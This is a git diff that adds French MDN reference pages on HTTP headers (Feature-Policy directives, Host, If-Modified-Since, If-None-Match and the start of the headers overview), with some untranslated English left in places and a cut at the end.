'execution-while-not-rendered')}}</dt> + <dd>Contrôle si les tâches des cadres doivent être exécutées s'ils ne seront pas rendus à l'écran (par exemple si un <code><iframe></code> est <code><a href="/en-US/docs/Web/HTML/Global_attributes/hidden">hidden</a></code> ou <code>display: none</code>).</dd> + <dt>{{httpheader('Feature-Policy/execution-while-out-of-viewport', 'execution-while-out-of-viewport')}}</dt> + <dd>Contrôle si les tâches des cadres doivent être exécutées quand ils sont en dehors du cadre visible.</dd> +</dl> + +<dl> + <dt>{{httpheader('Feature-Policy/fullscreen','fullscreen')}}</dt> + <dd>Contrôle si le document courant est autorisé à utiliser {{DOMxRef("Element.requestFullScreen()")}}. Quand cette directive est désactivée, la promesse retournée sera rejetée avec une exception {{JSxRef("TypeError")}}.</dd> + <dt>{{httpheader('Feature-Policy/geolocation','geolocation')}}</dt> + <dd>Contrôle si le document courant est autorisé à utiliser l'interface {{domxref('Geolocation')}}. Quand cette directive est désactivée, les appels à {{domxref('Geolocation.getCurrentPosition','getCurrentPosition()')}} et {{domxref('Geolocation.watchPosition','watchPosition()')}} causeront un appel de leurs fonctions de rappel avec une exception {{domxref('PositionError')}} dont le code est <code>PERMISSION_DENIED</code>.</dd> + <dt>{{httpheader('Feature-Policy/gyroscope','gyroscope')}}</dt> + <dd>Contrôle si le document courant est autorisé à recueillir des informations à propos de l'orientation de l'appareil au moyen de l'interface {{DOMxRef("Gyroscope")}}.</dd> + <dt>{{httpheader('Feature-Policy/layout-animations','layout-animations')}}</dt> + <dd>Contrôle si le document courant est autorisé à afficher des animations de mise en page.</dd> +</dl> + +<dl> + <dt>{{httpheader('Feature-Policy/legacy-image-formats','legacy-image-formats')}}</dt> + <dd>Contrôle si le document courant est autorisé à afficher des images dans des formats du passé.</dd> +</dl> + +<dl> + <dt>{{httpheader('Feature-Policy/magnetometer','magnetometer')}}</dt> + <dd>Contrôle si le document courant est autorisé à recueillir des informations à propos de l'orientation au moyen de l'interface {{DOMxRef("Magnetometer")}}.</dd> + <dt>{{httpheader('Feature-Policy/microphone','microphone')}}</dt> + <dd>Contrôle si le document courant est autorisé à utiliser le microphone de l'appareil. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("MediaDevices.getUserMedia()")}} sera rejetée avec une exception {{Exception("NotAllowedError")}}.</dd> + <dt>{{httpheader('Feature-Policy/midi', 'midi')}}</dt> + <dd>Contrôle si le document courant est autorisé à utiliser l'<a href="/en-US/docs/Web/API/Web_MIDI_API">API Web MIDI</a>. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("Navigator.requestMIDIAccess()")}} sera rejetée avec une exception {{domxref("DOMException")}}.</dd> + <dt>{{httpheader('Feature-Policy/navigation-override','navigation-override')}}</dt> + <dd>Contrôle la disponibilité des mécanismes qui permettent à l'auteur de la page de prendre le contrôle sur le comportment de la <a href="https://www.w3.org/TR/css-nav/">navigation spatiale</a>, ou de l'annuler complètement.</dd> + <dt>{{httpheader('Feature-Policy/oversized-images','oversized-images')}}</dt> + <dd>Contrôle si le document courant est autorisé à télécharger et afficher des images lourdes.</dd> + <dt>{{httpheader('Feature-Policy/payment', 'payment')}}</dt> + <dd>Contrôle si le document courant est autorisé à utiliser l'<a href="/en-US/docs/Web/API/Payment_Request_API">API Payment Request</a>. Quand cette directive est désactivée, le constructeur {{domxref("PaymentRequest","PaymentRequest()")}} lèvera une {{domxref("DOMException")}} {{Exception("SecurityError")}}.</dd> + <dt>{{httpheader('Feature-Policy/picture-in-picture', 'picture-in-picture')}}</dt> + <dd>Controls whether the current document is allowed to play a video in a Picture-in-Picture mode via the corresponding API.</dd> + <dt>{{httpheader("Feature-Policy/publickey-credentials-get", "publickey-credentials-get")}}</dt> + <dd>Contrôle si le document courant est autorisé à use the <a href="/en-US/docs/Web/API/Web_Authentication_API">Web Authentication API</a> to retreive already stored public-key credentials, i.e. via {{domxref("CredentialsContainer.get","navigator.credentials.get({publicKey: ..., ...})")}}.</dd> + <dt>{{httpheader('Feature-Policy/sync-xhr', 'sync-xhr')}}</dt> + <dd>Contrôle si le document courant est autorisé à make synchronous {{DOMxRef("XMLHttpRequest")}} requests.</dd> + <dt>{{httpheader('Feature-Policy/usb', 'usb')}}</dt> + <dd>Contrôle si le document courant est autorisé à use the <a href="https://wicg.github.io/webusb/">WebUSB API</a>.</dd> + <dt>{{httpheader('Feature-Policy/vr', 'vr')}} {{deprecated_inline}}</dt> + <dd>Contrôle si le document courant est autorisé à use the <a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a>. Quand cette directive est désactivée, la promesse retournée par {{domxref("Navigator.getVRDisplays","Navigator.getVRDisplays()")}} sera rejetée avec une {{domxref("DOMException")}}. Gardez en tête que la norme WebVR est en cours de remplacement au profit de <a href="/en-US/docs/Web/API/WebXR_Device_API">WebXR</a>.</dd> + <dt>{{httpheader('Feature-Policy/wake-lock', 'wake-lock')}}</dt> + <dd>Contrôle si le document courant est autorisé à utiliser l'<a href="https://www.w3.org/TR/wake-lock/">API Wake Lock</a> pour indiquer que l'appareil ne devrait se mettre en veille.</dd> + <dt>{{httpheader('Feature-Policy/screen-wake-lock', 'screen-wake-lock')}}</dt> + <dd>Contrôle si le document courant est autorisé à utiliser l'<a href="/en-US/docs/Web/API/Screen_Wake_Lock_API">API Screen Wake Lock</a> pour indiquer que l'appareil ne devrait pas assombrir ou éteindre l'écran.</dd> + <dt>{{httpheader("Feature-Policy/web-share", "web-share")}}</dt> + <dd>Contrôle si le document courant est autorisé à utiliser la méthode {{domxref("Navigator.share","Navigator.share()")}} de l'API Web Share pour partager du texte, des liens, des images et d'autres contenus à des destinations arbitraires sur le choix de l'utilisateur, par exemple à des applications mobiles.</dd> + <dt>{{httpheader("Feature-Policy/xr-spatial-tracking", "xr-spatial-tracking")}}</dt> + <dd>Contrôle si le document courant est autorisé à utiliser l'<a href="/en-US/docs/Web/API/WebXR_Device_API">API WebXR Device</a> pour interagir avec une WebXR.</dd> +</dl> + +<h2 id="Exemple">Exemple</h2> + +<p>SecureCorp Inc. souhaite désactiver les API du microphone et de géolocalisation dans son application. Elle peut le faire en délivrant l'en-tête de réponse HTTP suivant pour définir une réglementation des fonctionnalités :</p> + +<pre class="notranslate">Feature-Policy: microphone 'none'; geolocation 'none'</pre> + +<p>En spécifiant la valeur <code>'none'</code> pour liste des origines, les fonctionnalités auquel la valeur est appliquée seront désactivées pour tous les contextes de navigation (incluant tout les cadres <code><iframe></code>), quelle que soit leur origine.</p> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://w3c.github.io/webappsec-permissions-policy/#permissions-policy-http-header-field">Permissions Policy</a></td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p>{{Compat("http.headers.Feature-Policy")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a></li> + <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Utiliser Feature Policy</a></li> + <li>{{DOMxRef("Document.featurePolicy")}} and {{DOMxRef("FeaturePolicy")}}</li> + <li><a class="external external-icon" href="https://chrome.google.com/webstore/detail/feature-policy-tester-dev/pchamnkhkeokbpahnocjaeednpbpacop" rel="noopener">Feature-Policy Tester (Chrome Developer Tools extension)</a></li> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTTPHeader("Referrer-Policy")}}</li> +</ul> diff --git a/files/fr/web/http/headers/host/index.html b/files/fr/web/http/headers/host/index.html new file mode 100644 index 0000000000..609a96469b --- /dev/null +++ b/files/fr/web/http/headers/host/index.html @@ -0,0 +1,75 @@ +--- +title: Host +slug: Web/HTTP/Headers/Host +tags: + - HTTP + - Reference + - en-tête +translation_of: Web/HTTP/Headers/Host +--- +<div>{{HTTPSidebar}}</div> + +<p>L'en-tête de requête <code><strong>Host</strong></code> spécifie le nom de domaine du serveur (pour de l'hébergement virtuel), et (optionnellement) le numéro du port TCP sur lequel le serveur écoute.</p> + +<p>Si aucun port n'est donné, le port par défaut du service demandé sera utilisé (par exemple, "80" pour une URL HTTP).</p> + +<p>Un champ d'en-tête <code>Host</code> doit être envoyé dans tous les messages de requête HTTP/1.1. Un code HTTP {{HTTPStatus("400")}} (Bad Request) sera envoyé à tout message de requette HTTP/1.1 ne contenant pas un champ d'en-tête <code>Host</code> ou qui en contient plus d'un.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Request header","En-tête de requête")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name"," Nom d'en-tête interdit ")}}</th> + <td>Oui</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Host: <host>:<port> +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><host></dt> + <dd>le nom de domaine du serveur (pour de l'hébergement virtuel).</dd> + <dt><port> {{optional_inline}}</dt> + <dd>numéro de port TCP sur lequel le serveur écoute.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre>Host: developer.cdn.mozilla.net</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7230", "Host", "5.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer à ces données, veuillez jeter un coup d'œil à <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une <em>pull request</em>.</p> + +<p>{{Compat("http.headers.Host")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPStatus("400")}}</li> + <li>{{HTMLElement("base")}}</li> +</ul> diff --git a/files/fr/web/http/headers/if-modified-since/index.html b/files/fr/web/http/headers/if-modified-since/index.html new file mode 100644 index 0000000000..b0ae54318a --- /dev/null +++ b/files/fr/web/http/headers/if-modified-since/index.html @@ -0,0 +1,92 @@ +--- +title: If-Modified-Since +slug: Web/HTTP/Headers/If-Modified-Since +tags: + - HTTP + - Reference +translation_of: Web/HTTP/Headers/If-Modified-Since +--- +<div>{{HTTPSidebar}}</div> + +<p>L'entête de requête HTTP <strong><code>If-Modified-Since</code></strong> rend la requête conditionnelle : le serveur renverra la ressource demandée, avec un status {{HTTPStatus("200")}}, seulement si elle a été modifiée pour la dernière fois après la date donnée. Si la ressource n'a pas été modifiée depuis, la réponse sera un {{HTTPStatus("304")}} sans aucun contenu; le header {{HTTPHeader("Last-Modified")}} contiendra la date de la dernière modification. À l'inverse de {{HTTPHeader("If-Unmodified-Since")}}, <code>If-Modified-Since</code> ne peut être utilisé qu'avec un {{HTTPMethod("GET")}} ou un {{HTTPMethod("HEAD")}}.</p> + +<p>Lorsqu'il est combiné avec {{HTTPHeader("If-None-Match")}}, il est ignoré, à moins que le serveur ne supporte pas <code>If-None-Match</code>.</p> + +<p>Le cas d'usage le plus courant est la mise-à-jour d'une entité cachée qui n'a pas de {{HTTPHeader("ETag")}} associé.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'entête</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">If-Modified-Since: <label-jour>, <jour> <mois> <année> <heure>:<minute>:<seconde> GMT +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><label-jour></dt> + <dd>Parmis : "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", ou "Sun" (sensible à la casse).</dd> + <dt><jour></dt> + <dd>2 chiffres du numéro du jour, par ex. "04" or "23".</dd> + <dt><mois></dt> + <dd>Parmis : "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse).</dd> + <dt><année></dt> + <dd>4 chiffres de l'année, par ex. "1990" ou "2016".</dd> + <dt><heure></dt> + <dd>2 chiffres du numéro de l'heure, par ex. "09" ou "23".</dd> + <dt><minute></dt> + <dd>2 chiffres des minutes, par ex. "04" or "59".</dd> + <dt><seconde></dt> + <dd>2 chiffres des secondes, par ex. "04" or "59".</dd> + <dt><code>GMT</code></dt> + <dd> + <p><em>Greenwich Mean Time</em>. Les dates HTTP sont toujours exprimées en GMT, jamais en temps localisé.</p> + </dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre>If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7232", "If-Modified-Since", "3.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibility_avec_les_navigateurs">Compatibility avec les navigateurs</h2> + +<p class="hidden">La table de compatibilités de cette page est générée à partir de données structurées. Si vous souhaitez contribuez à la donnée, regardez <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une <em>pull request</em>.</p> + +<p>{{Compat("http.headers.If-Modified-Since")}}</p> + +<h2 id="À_voir_aussi">À voir aussi</h2> + +<ul> + <li>{{HTTPHeader("ETag")}}</li> + <li>{{HTTPHeader("If-Unmodified-since")}}</li> + <li>{{HTTPHeader("If-Match")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> + <li>{{HTTPStatus("304")}}<code> Not Modified</code></li> +</ul> diff --git a/files/fr/web/http/headers/if-none-match/index.html b/files/fr/web/http/headers/if-none-match/index.html new file mode 100644 index 0000000000..44bc3c3749 --- /dev/null +++ b/files/fr/web/http/headers/if-none-match/index.html @@ -0,0 +1,96 @@ +--- +title: If-None-Match +slug: Web/HTTP/Headers/If-None-Match +tags: + - En-tête HTTP + - En-tête de requête + - HTTP + - Reference + - Requêtes Conditionnelles +translation_of: Web/HTTP/Headers/If-None-Match +--- +<div> </div> + +<p>L'en-tête de requête HTTP <strong><code>If-None-Match</code></strong> permet de conditionner la requête. Pour les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}}, le serveur renvoie la ressource demandée, avec un statut {{HTTPStatus("200")}}, seulement si elle n'a pas un {{HTTPHeader("ETag")}} correspondant à ceux fournis. Pour les autres méthodes, la requête ne sera traitée que si l'{{HTTPHeader("ETag")}} de l'éventuelle ressource existante ne correspond à aucune des valeurs listées.</p> + +<p>Quand la condition échoue pour les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}}, le serveur doit retourner un code statut HTTP 304 (Not Modified). Pour les méthodes appliquant des changements côté serveur, le code statut 412 (Precondition Failed) est utilisé. Notez que le serveur générant une réponse 304 DOIT générer toutes les en-têtes qui auraient été envoyées avec une réponse 200 (OK) à la même requête : Cache-Control, Content-Location, Date, ETag, Expires, and Vary.</p> + +<p>La comparaison avec l'{{HTTPHeader("ETag")}} stocké utilise l'<em>algorithme de comparaison faible</em>, c'est-à-dire que 2 fichiers sont considérés identiques pas seulement s'ils sont identiques octet à octet mais si leurs contenus sont équivalents. Par exemple, 2 pages dont seule la date de génération dans le pied de page diffère seraient considérées identiques.</p> + +<p>Quand utilisé avec {{HTTPHeader("If-Modified-Since")}}, il a la priorité (si le serveur le supporte).</p> + +<p>Il y a 2 cas d'utilisation communs:</p> + +<ul> + <li>Pour les méthodes {{HTTPMethod("GET")}} and {{HTTPMethod("HEAD")}}, pour mettre à jour une entité en cache qui a un {{HTTPHeader("ETag")}} associé.</li> + <li>Pour les autres méthodes, et en particulier pour {{HTTPMethod("PUT")}}, <code>If-None-Match</code> avec pour valeur <code>*</code> peut être utilisé pour sauver un fichier dont on ne sait pas s'il existe, garantissant qu'un autre téléversement n'a pas été fait avant, perdant les données du précédent chargement ; ce problème est une variation du <a href="https://www.w3.org/1999/04/Editing/#3.1">problème de la mise à jour perdue</a>.</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("En-tête de requête")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Nom d'en-tête interdit")}}</th> + <td>non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">If-None-Match: "<valeur_etag>" +If-None-Match: "<valeur_etag>", "<valeur_etag>", … +If-None-Match: *</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><etag_value></dt> + <dd>Des tags d'entité représentant de façon unique les ressources demandées. Ce sont des chaînes de caractères ASCII entre guillemets doubles (comme <code>"675af34563dc-tr34"</code>) et peuvent être préfixés par <code>W/</code> pour indiquer que l'algorithme de comparaison faible doit être utilisé (inutile avec <code>If-None-Match</code> car il n'utilise que cet algorithme).</dd> + <dt><code>*</code></dt> + <dd>L'astérisque est une valeur spéciale représentant toute ressource. Ils ne sont utilies que quand on téléverse une ressource, habituellement avec {{HTTPMethod("PUT")}}, pour vérifier si une autre ressource avec cette identité a déjà été téléversée avant.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre>If-None-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d" + +If-None-Match: W/"67ab43", "54ed21", "7892dd" + +If-None-Match: * +</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7232", "If-None-Match", "3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2> + +<p class="hidden">La table de compatibilité de cette page est générée à partir de données structurées. Si vous voulez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</p> + +<p>{{Compat("http.headers.If-None-Match")}}</p> + +<h2 id="Voir_également">Voir également</h2> + +<ul> + <li>{{HTTPHeader("ETag")}}</li> + <li>{{HTTPHeader("If-Unmodified-Since")}}</li> + <li>{{HTTPHeader("If-Modified-Since")}}</li> + <li>{{HTTPHeader("If-Match")}}</li> + <li>{{HTTPStatus("304")}}<code> Not Modified</code></li> + <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li> +</ul> diff --git a/files/fr/web/http/headers/index.html b/files/fr/web/http/headers/index.html new file mode 100644 index 0000000000..a493fb6715 --- /dev/null +++ b/files/fr/web/http/headers/index.html @@ -0,0 +1,451 @@ +--- +title: En-têtes HTTP +slug: Web/HTTP/Headers +tags: + - En-têtes + - HTTP + - Headers + - Networking + - Overview + - Reference +translation_of: Web/HTTP/Headers +--- +<div>{{HTTPSidebar}}</div> + +<p>Les en-têtes HTTP permettent au client et au serveur de transmettre des informations supplémentaires avec la requête ou la réponse. Un en-tête de requête est constitué de son nom (insensible à la casse) suivi d'un deux-points <code>:</code>, puis de sa valeur (sans saut de ligne). L'espace blanc avant la valeur est ignoré.</p> + +<p>Des en-têtes propriétaires personnalisés peuvent être ajoutés en utilisant le préfixe <code>X-</code>, mais cette convention a été abandonnée en juin 2012, en raison des inconvénients qu'elle a présenté lorsque des champs non standard sont devenus standard dans <a class="external" href="https://tools.ietf.org/html/rfc6648">RFC 6648</a>; les autres en-têtes possibles sont listés dans une <a class="external" href="https://www.iana.org/assignments/message-headers/message-headers.xhtml">liste IANA</a> et ont été définis dans la <a class="external" href="https://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA maintient également une <a class="external" href="https://www.iana.org/assignments/message-headers/message-headers.xhtml">liste des propositions de nouveaux entêtes HTTP</a>.</p> + +<p>Les en-têtes peuvent être groupés selon leur contexte :</p> + +<ul> + <li>{{Glossary("General header","En-tête général")}} : en-têtes s'appliquant à la fois aux requêtes et aux réponses mais sans rapport avec les données éventuellement transmises dans le corps de la requête ou de la réponse.</li> + <li>{{Glossary("Request header","En-tête de requête")}} : en-têtes contenant plus d'informations au sujet de la ressource à aller chercher ou à propos du client lui-même.</li> + <li>{{Glossary("Response header","En-tête de réponse")}} : en-têtes contenant des informations additionnelles au sujet de la réponse comme son emplacement, ou au sujet du serveur lui-même (nom et version, etc.)</li> + <li>{{Glossary("Entity header","En-tête d'entité")}} : en-têtes contenant plus d'informations au sujet du corps de l'entité comme la longueur de son contenu ou son <a href="/fr/docs/Glossaire/Type_MIME">type MIME</a>.</li> +</ul> + +<p>Les en-têtes peuvent aussi être groupés par la manière dont les {{Glossary("Proxy_server", "serveurs mandataires (proxies)")}} les traitent :</p> + +<ul> + <li>{{httpheader("Connection")}}</li> + <li>{{httpheader("Keep-Alive")}}</li> + <li>{{httpheader("Proxy-Authenticate")}}</li> + <li>{{httpheader("Proxy-Authorization")}}</li> + <li>{{httpheader("TE")}}</li> + <li>{{httpheader("Trailer")}}</li> + <li>{{httpheader("Transfer-Encoding")}}</li> + <li>{{httpheader("Upgrade")}} (voir aussi <a href="/fr/docs/Web/HTTP/Protocol_upgrade_mechanism">mécanisme de mise à jour de protocole</a>)</li> +</ul> + +<dl> + <dt>En-têtes de bout en bout ('End-to-end headers') :</dt> + <dd>Ces entêtes doivent être transmis au destinataire final du message ; c'est-à-dire le serveur dans le cas d'une requête ou le client dans le cas d'une réponse. Les serveurs mandataires intermédiaires doivent retransmettre les en-têtes de bout en bout sans modification et doivent les mettre en cache.</dd> + <dt>En-têtes de point à point ('Hop-by-hop headers') :</dt> + <dd>Ces en-têtes n'ont de sens que pour une unique connexion de la <a class="external" href="https://fr.wikipedia.org/wiki/Couche_transport">couche transport</a> et ne doivent pas être retransmis par des serveurs mandataires ou mis en cache. Il s'agit d'en-têtes tels que: {{httpheader("Connection")}}, {{httpheader("Keep-Alive")}}, {{httpheader("Proxy-Authenticate")}}, {{httpheader("Proxy-Authorization")}}, {{httpheader("TE")}}, {{httpheader("Trailer")}}, {{ httpheader("Transfer-Encoding")}} et {{httpheader("Upgrade")}}. A noter que seuls les en-têtes de point à point peuvent être utilisés avec l'en-tête général {{httpheader("Connection")}}.</dd> +</dl> + +<p>La liste suivante résume les en-têtes HTTP en fonction de leur utilisation. Une liste triée par ordre alphabétique est disponible dans le panneau de navigation à gauche.</p> + +<h2 id="Authentification">Authentification</h2> + +<dl> + <dt>{{HTTPHeader("WWW-Authenticate")}}</dt> + <dd>définit la méthode d'authentification qui doit être utilisée pour obtenir l'accès à la ressource.</dd> + <dt>{{HTTPHeader("Authorization")}}</dt> + <dd>contient les informations d'identification pour authentifier un agent utilisateur avec un serveur.</dd> + <dt>{{HTTPHeader("Proxy-Authenticate")}}</dt> + <dd>définit la méthode d'authentification qui doit être utilisée pour obtenir la ressource derrière un serveur mandataire.</dd> + <dt>{{HTTPHeader("Proxy-Authorization")}}</dt> + <dd>contient les informations d'identification nécessaires pour authentifier un agent utilisateur avec un serveur mandataire.</dd> +</dl> + +<h2 id="Mise_en_cache">Mise en cache</h2> + +<dl> + <dt>{{HTTPHeader("Age")}}</dt> + <dd>la durée en secondes passée par l'objet dans un cache proxy.</dd> + <dt>{{HTTPHeader("Cache-Control")}}</dt> + <dd>spécifie des directives pour les mécanismes de mise en cache dans les requêtes et les réponses.</dd> + <dt>{{HTTPHeader("Clear-Site-Data")}}</dt> + <dd>nettoie les données de navigation (mouchards (<em>cookies</em>), stockage et cache) associé au site demandé.</dd> + <dt>{{HTTPHeader("Expires")}}</dt> + <dd>la date et l'heure après lesquelles la réponse est considérée comme périmée.</dd> + <dt>{{HTTPHeader("Pragma")}}</dt> + <dd>en-tête spécifique à la mise en œuvre pouvant avoir divers effets le long de la chaîne de requête-réponse. Utilisé pour la rétrocompatibilité avec les caches HTTP / 1.0 où l'en-tête <code>Cache-Control</code> n'est pas encore présent.</dd> + <dt>{{HTTPHeader("Warning")}}</dt> + <dd>un champ d'avertissement général contenant des informations sur les problèmes possibles.</dd> +</dl> + +<h2 id="Astuces_client">Astuces client</h2> + +<p>Les {{Glossary("Client_hints", "astuces clients")}} HTTP sont enc cours de création. La documentation actuelle est disponible sur le <a href="https://httpwg.org/http-extensions/client-hints.html">site du groupe de travail sur HTTP</a>.</p> + +<dl> + <dt>{{HTTPHeader("Accept-CH")}} {{experimental_inline}}</dt> + <dd>les serveurs peuvent informer de leur niveau de support pour les Client Hints en utilisant l'en-tête <code>Accept-CH</code> ou en HTML avec l'élément <code><meta></code> ayant l'attribut <code>http-equiv</code> (<a href="https://httpwg.org/http-extensions/client-hints.html#HTML5"><cite>[HTML5]</cite></a>).</dd> + <dt>{{HTTPHeader("Accept-CH-Lifetime")}} {{experimental_inline}}</dt> + <dd>les serveurs peuvent demander au client de mémoriser l'ensemble des Client Hints que le serveur supporte pour une période de temps donnée, afin de permettre la livraison de Client Hints sur les requêtes suivantes vers l'origine du serveur (<a href="https://httpwg.org/http-extensions/client-hints.html#RFC6454"><cite>[RFC6454]</cite></a>).</dd> + <dt>{{HTTPHeader("Content-DPR")}} {{experimental_inline}}</dt> + <dd>un nombre indiquant le rapport entre le nombre de pixels physiques et le nombre de pixels CSS de l'image réponse sélectionnée.</dd> + <dt>{{HTTPHeader("DPR")}} {{experimental_inline}}</dt> + <dd>un nombre indiquant le Device Pixel Ratio (DPR) actuel du client, qui est le rapport du nombre de pixels physiques sur le nombre de pixels CSS (Section 5.2 of <a href="https://httpwg.org/http-extensions/client-hints.html#CSSVAL"><cite>[CSSVAL]</cite></a>) de la zone d'affichage (Section 9.1.1 of <a href="https://httpwg.org/http-extensions/client-hints.html#CSS2"><cite>[CSS2]</cite></a>) sur l'appareil.</dd> + <dt>{{HTTPHeader("Device-Memory")}} {{experimental_inline}}</dt> + <dd>faisant techniquement partie de l'API Device Memory, cet en-tête représente la quantité approximative de mémoire vive dont le client dispose.</dd> + <dt>{{HTTPHeader("Early-Data")}} {{experimental_inline}}</dt> + <dd>indique que les requêtes doivent être communiquées en TLS early data.</dd> + <dt>{{HTTPHeader("Save-Data")}} {{experimental_inline}}</dt> + <dd>booléen indiquant les préférences de l'agent utilisateur pour réduire la quantité de données transmises.</dd> + <dt>{{HTTPHeader("Viewport-Width")}} {{experimental_inline}}</dt> + <dd>la largeur de la zone d'affichage, soit le nombre de pixels CSS. La valeur fournise est arrondie au plus grand proche supérieur.</dd> + <dd>Si <code>Viewport-Width</code> apparait dans un message plus d'une fois, la dernière valeur écrase toutes les valeurs précédentes.</dd> + <dt>{{HTTPHeader("Width")}} {{experimental_inline}}</dt> + <dd>l'en-tête de requête <code>Width</code> représente la largeur de la ressource voulue en nombre de pixels physiques. La valeur fournise est arrondie au plus proche entier supérieur.</dd> + <dd>Si la largeur de la ressource voulue est inconnue quand la requête ou la ressource n'a pas de largeur d'affichage, l'en-tête <code>Width</code> peut être omise. Si <code>Width</code> apparait dans un message plus d'une fois, la dernière valeur écrase toutes les valeurs précédentes.</dd> +</dl> + +<h2 id="Conditionnels">Conditionnels</h2> + +<dl> + <dt>{{HTTPHeader("Last-Modified")}}</dt> + <dd>c'est un validateur, la dernière date de modification de la ressource, utilisée pour comparer plusieurs versions de la même ressource. Il est moins précis que {{HTTPHeader("ETag")}}, mais plus facile à calculer dans certains environnements. Les requêtes conditionnelles utilisant {{HTTPHeader("If-Modified-Since")}} et {{HTTPHeader("If-Unmodified-Since")}} utilisent cette valeur pour modifier le comportement de la requête.</dd> + <dt>{{HTTPHeader("ETag")}}</dt> + <dd>c'est un validateur, une chaîne unique identifiant la version de la ressource. Les requêtes conditionnelles utilisant {{HTTPHeader("If-Match")}} et {{HTTPHeader("If-None-Match")}} utilisent cette valeur pour changer le comportement de la requête.</dd> + <dt>{{HTTPHeader("If-Match")}}</dt> + <dd>rend la requête conditionnelle et n'applique la méthode que si la ressource stockée correspond à l'un des ETags donnés.</dd> + <dt>{{HTTPHeader("If-None-Match")}}</dt> + <dd>rend la requête conditionnelle et n'applique la méthode que si la ressource stockée ne correspond à aucun des ETags donnés. Ceci est utilisé pour mettre à jour les caches (pour les requêtes sécurisées), ou pour empêcher de télécharger une nouvelle ressource lorsqu'elle existe déjà.</dd> + <dt>{{HTTPHeader("If-Modified-Since")}}</dt> + <dd>rend la requête conditionnelle et attend que l'entité soit transmise seulement si elle a été modifiée après la date donnée. Ceci est utilisé pour transmettre des données uniquement lorsque le cache est obsolète.</dd> + <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt> + <dd>rend la demande conditionnelle et attend que l'entité soit transmise seulement si elle n'a pas été modifiée après la date donnée. Ceci est utilisé pour assurer la cohérence d'un nouveau fragment d'une plage spécifique avec les précédentes, ou pour implémenter un système de contrôle de concurrence optimiste lors de la modification de documents existants.</dd> + <dt>{{HTTPHeader("Vary")}}</dt> + <dd>détermine comment faire correspondre les futurs en-têtes de demande pour décider si une réponse mise en cache peut être utilisée plutôt que d'en demander une nouvelle au serveur d'origine.</dd> +</dl> + +<h2 id="Gestion_de_connexion">Gestion de connexion</h2> + +<dl> + <dt>{{HTTPHeader("Connection")}}</dt> + <dd>contrôle si la connexion réseau reste ouverte après la fin de la transaction en cours.</dd> + <dt>{{HTTPHeader("Keep-Alive")}}</dt> + <dd>contrôle la durée pendant laquelle une connexion persistante doit rester ouverte.</dd> +</dl> + +<h2 